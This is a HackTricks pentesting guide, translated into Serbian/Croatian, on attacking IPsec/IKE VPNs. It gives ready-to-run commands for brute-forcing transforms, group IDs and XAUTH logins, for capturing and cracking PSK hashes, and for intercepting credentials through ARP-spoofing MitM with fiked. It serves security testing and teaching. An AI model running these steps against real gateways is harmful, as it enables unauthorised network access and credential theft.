hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md
2024-02-10 13:11:20 +00:00

281 lines
19 KiB
Markdown

# 500/udp - Pentestiranje IPsec/IKE VPN
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celokupnom tehnološkom skupu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Osnovne informacije
**IPsec** je široko priznata tehnologija za obezbeđivanje komunikacije između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog pristupnog čvora (udaljeni pristup), služeći kao osnova za VPN rešenja u preduzećima.
Uspostavljanje **bezbednosne asocijacije (SA)** između dve tačke upravlja **IKE**, koji radi pod okriljem ISAKMP-a, protokola dizajniranog za autentifikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:
- **Faza 1:** Bezbedan kanal se kreira između dve tačke. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili **agresivni režim**.
- **Faza 1.5:** Iako nije obavezna, ova faza, poznata kao Faza Proširene Autentifikacije, proverava identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
- **Faza 2:** Ova faza je posvećena pregovaranju parametara za obezbeđivanje podataka sa **ESP** i **AH**. Omogućava korišćenje algoritama koji se razlikuju od onih u Fazi 1 kako bi se obezbedila **Savršena Napredna Tajnost (PFS)**, poboljšavajući bezbednost.
**Podrazumevani port:** 500/udp
## **Otkrijte** uslugu korišćenjem nmap-a
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Pronalaženje validne transformacije**
Konfiguracija IPSec-a može biti podešena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži određeni broj atributa kao što su DES ili 3DES kao **algoritam za enkripciju**, SHA ili MD5 kao **algoritam za integritet**, prethodno deljena ključ kao **tip autentifikacije**, Diffie-Hellman 1 ili 2 kao algoritam za **distribuciju ključeva** i 28800 sekundi kao **vreme trajanja**.
Prvo što trebate uraditi je **pronaći validnu transformaciju**, kako bi server komunicirao s vama. Za to možete koristiti alat **ike-scan**. Podrazumevano, Ike-scan radi u glavnom režimu i šalje paket gateway-u sa ISAKMP zaglavljem i jednim predlogom koji sadrži **osam transformacija**.
Na osnovu odgovora možete dobiti neke informacije o krajnjoj tački:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Kao što možete videti u prethodnom odgovoru, postoji polje nazvano **AUTH** sa vrednošću **PSK**. To znači da je VPN konfigurisan korišćenjem prethodno deljene ključa (što je veoma dobro za pentestera).\
**Vrednost poslednje linije je takođe veoma važna:**
* _0 vraćenih handshake-ova; 0 vraćenih obaveštenja:_ Ovo znači da ciljna mašina **nije IPsec gateway**.
* _**1 vraćen handshake; 0 vraćenih obaveštenja:**_ Ovo znači da je **ciljna mašina konfigurisana za IPsec i spremna je da izvrši IKE pregovaranje, i jedna ili više transformacija koje ste predložili su prihvatljive** (važeća transformacija će biti prikazana u izlazu).
* _0 vraćenih handshake-ova; 1 vraćeno obaveštenje:_ VPN gateway-ovi odgovaraju obaveštenjem kada **nijedna od transformacija nije prihvatljiva** (mada neki gateway-ovi to ne rade, u tom slučaju treba pokušati daljnja analiza i revidirani predlog).
U ovom slučaju već imamo važeću transformaciju, ali ako se nalazite u trećem slučaju, onda morate **malo probati da biste pronašli važeću transformaciju:**
Prvo, trebate kreirati sve moguće transformacije:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
A zatim izvršite brute-force napad na svaki koristeći ike-scan (ovo može potrajati nekoliko minuta):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Ako brute-force nije uspeo, možda server odgovara bez rukovanja čak i na validne transformacije. Zatim, možete pokušati isti brute-force, ali koristeći agresivni režim:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Nadam se da će **vaša validna transformacija biti prikazana**.\
Možete pokušati **isti napad** koristeći [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Takođe možete pokušati sa brute force napadom na transformacije koristeći [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
U **DH grupi: 14 = 2048-bit MODP** i **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (u ovom slučaju). Format `--trans` je $Enc,$Hash,$Auth,$DH**
Cisco preporučuje izbjegavanje korištenja DH grupa 1 i 2 jer nisu dovoljno jake. Stručnjaci vjeruju da **zemlje s velikim resursima lako mogu probiti enkripciju** podataka koji koriste ove slabe grupe. To se postiže korištenjem posebne metode koja ih priprema za brzo pucanje kodova. Iako je postavljanje ove metode skupo, omogućava ovim moćnim zemljama čitanje šifriranih podataka u stvarnom vremenu ako koriste grupu koja nije jaka (poput 1,024-bit ili manje).
### Fingerprintiranje servera
Zatim, možete koristiti ike-scan da biste pokušali **otkriti proizvođača** uređaja. Alatka šalje početni prijedlog i zaustavlja ponavljanje. Zatim, **analizira** razliku **vremena** između primljenih **poruka** od servera i odgovarajućeg obrasca odgovora, pentester može uspješno identificirati proizvođača VPN gateway-a. Osim toga, neki VPN serveri će koristiti opcionalni **Vendor ID (VID) payload** s IKE.
**Navedite valjanu transformaciju ako je potrebno** (koristeći --trans)
Ako IKE otkrije koji je proizvođač, ispisat će ga:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Ovo se može postići i sa nmap skriptom _**ike-version**_
## Pronalaženje ispravnog ID-a (imena grupe)
Da biste bili u mogućnosti da uhvatite heš, potrebno je da imate validnu transformaciju koja podržava Agresivni režim i ispravan ID (ime grupe). Verovatno nećete znati ispravno ime grupe, pa ćete morati da ga probate metodom brute-force.
Da biste to uradili, preporučujem vam 2 metode:
### Brute-force ID sa ike-scan
Prvo, pokušajte da napravite zahtev sa lažnim ID-om kako biste pokušali da prikupite heš ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Ako **nema povratne vrednosti heša**, tada je verovatno da će ovaj metod brute force napada uspeti. **Ako se vrati neki heš, to znači da će se za lažni ID poslati lažni heš, pa ovaj metod neće biti pouzdan** za brute force napad na ID. Na primer, može se vratiti lažni heš (ovo se dešava u modernim verzijama):
![](<../.gitbook/assets/image (110).png>)
Ali ako, kao što sam već rekao, nema povratne vrednosti heša, tada treba pokušati brute force napadom na uobičajena imena grupa koristeći ike-scan.
Ovaj skript **će pokušati brute force napad na moguće ID-ove** i vratiti ID-ove za koje se vrati validan handshake (to će biti validno ime grupe).
Ako ste otkrili određenu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebali biste ih sve isprobati dok jedna od njih ne radi pravilno).
Možete koristiti [rečnik ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ili [onaj u seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) sa uobičajenim imenima grupa za brute force napad na njih:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
Ili koristite ovaj rečnik (kombinacija prethodna dva rečnika bez ponavljanja):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
### Bruteforcing ID sa Ikerom
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) takođe koristi **ike-scan** za bruteforce mogućih imena grupa. Prati svoju metodu za **pronalaženje validnog ID-a na osnovu izlaza ike-scan-a**.
### Bruteforcing ID sa ikeforce-om
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) je alat koji se može koristiti i za **bruteforce ID-ova**. Ovaj alat će **pokušati da iskoristi različite ranjivosti** koje se mogu koristiti za **razlikovanje između validnog i nevalidnog ID-a** (može imati lažne pozitivne i lažne negativne rezultate, zbog čega je bolje koristiti metodu ike-scan-a ako je moguće).
Podrazumevano, **ikeforce** će na početku poslati neke nasumične ID-ove kako bi proverio ponašanje servera i odredio taktiku koju će koristiti.
* **Prva metoda** je bruteforce imena grupa pretraživanjem informacija **Dead Peer Detection DPD** Cisco sistema (ove informacije server samo vraća ako je ime grupe ispravno).
* **Druga dostupna metoda** je provera broja poslatih odgovora za svaki pokušaj, jer se ponekad šalje više paketa kada se koristi ispravan ID.
* **Treća metoda** podrazumeva pretragu odgovora sa "INVALID-ID-INFORMATION" u slučaju neispravnog ID-a.
* Na kraju, ako server ne odgovori na provere, **ikeforce** će pokušati da izvrši bruteforce servera i proveri da li server šalje neki paket kada se pošalje ispravan ID.\
Očigledno, cilj bruteforce-a ID-a je da se dobije **PSK** kada imate validan ID. Zatim, sa **ID-om** i **PSK-om**, moraćete da izvršite bruteforce XAUTH-a (ako je omogućen).
Ako ste otkrili određenu transformaciju, dodajte je u komandu ikeforce-a. Ako ste otkrili više transformacija, slobodno dodajte novu petlju kako biste ih sve isprobali (trebali biste ih sve isprobati dok ne pronađete onu koja pravilno funkcioniše).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Snifovanje ID-a
(Iz knjige **Procena mrežne sigurnosti: Upoznajte svoju mrežu**): Takođe je moguće dobiti validna korisnička imena snifovanjem veze između VPN klijenta i servera, jer se prvi paket agresivnog moda koji sadrži ID klijenta šalje otvoreno.
![](<../.gitbook/assets/image (111).png>)
## Snimanje i pucanje heša
Na kraju, ako ste pronašli **validnu transformaciju** i **ime grupe** i ako je **agresivni mod dozvoljen**, vrlo lako možete dobiti heš koji se može pucati.
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Heš će biti sačuvan unutar _hash.txt_.
Možete koristiti **psk-crack**, **john** (koristeći [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) i **hashcat** da **provalite** heš:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Agresivni režim IKE** u kombinaciji sa **Pre-Shared Key (PSK)** se često koristi u svrhu **grupne autentifikacije**. Ovaj metod se nadograđuje sa **XAuth (Extended Authentication)**, koji uvodi dodatni sloj **autentifikacije korisnika**. Takva autentifikacija obično koristi usluge kao što su **Microsoft Active Directory**, **RADIUS**, ili slični sistemi.
Prelaskom na **IKEv2**, primećuje se značajna promena gde se umesto **XAuth** koristi **EAP (Extensible Authentication Protocol)** u svrhu autentifikacije korisnika. Ova promena naglašava evoluciju u praksama autentifikacije unutar sigurnih komunikacionih protokola.
### MitM napad na lokalnu mrežu radi presretanja akreditiva
Možete presresti podatke za prijavljivanje koristeći _fiked_ i videti da li postoji neko podrazumevano korisničko ime (Potrebno je preusmeriti IKE saobraćaj na `fiked` za prisluškivanje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i presretati XAuth akreditive:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Takođe, pokušajte da izvršite MitM napad koristeći IPSec i blokirajte sav saobraćaj ka portu 500. Ako IPSec tunel ne može da se uspostavi, možda će se saobraćaj slati u čistom obliku.
### Brute-forcing XAUTH korisničko ime i lozinku pomoću ikeforce
Da biste izvršili brute force napad na **XAUTH** (kada znate validno ime grupe **id** i **psk**), možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju korisničkog imena i lozinke.
Ako pronađete jednu ili više validnih transformacija, koristite ih kao u prethodnim koracima.
## Autentifikacija sa IPSEC VPN-om
U Kali, **VPNC** se koristi za uspostavljanje IPsec tunela. **Profil**-i se moraju nalaziti u direktorijumu `/etc/vpnc/`. Možete pokrenuti ove profile koristeći komandu _**vpnc**_.
Sledeće komande i konfiguracije ilustruju proces podešavanja VPN veze sa VPNC-om:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
U ovom postavci:
- Zamijenite `[VPN_GATEWAY_IP]` stvarnom IP adresom VPN gateway-a.
- Zamijenite `[VPN_CONNECTION_ID]` identifikatorom VPN veze.
- Zamijenite `[VPN_GROUP_SECRET]` tajnom grupe VPN-a.
- Zamijenite `[VPN_USERNAME]` i `[VPN_PASSWORD]` sa autentifikacijskim podacima VPN-a.
- `[PID]` simbolizuje ID procesa koji će biti dodijeljen kada `vpnc` pokrene.
Osigurajte da se stvarne i sigurne vrijednosti koriste za zamjenu mjesta kada konfigurirate VPN.
## Referentni materijal
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Skeniranje implementacije VPN-a](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3. izdanje
## Shodan
* `port:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje prijetnji, pronalazi probleme u cijelom vašem tehničkom sklopu, od API-ja do web aplikacija i cloud sustava. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Naučite hakiranje AWS-a od nule do heroja s</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite vidjeti **oglašavanje vaše tvrtke u HackTricks-u** ili **preuzeti HackTricks u PDF-u**, provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**službeni PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podijelite svoje trikove hakiranja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorije.
</details>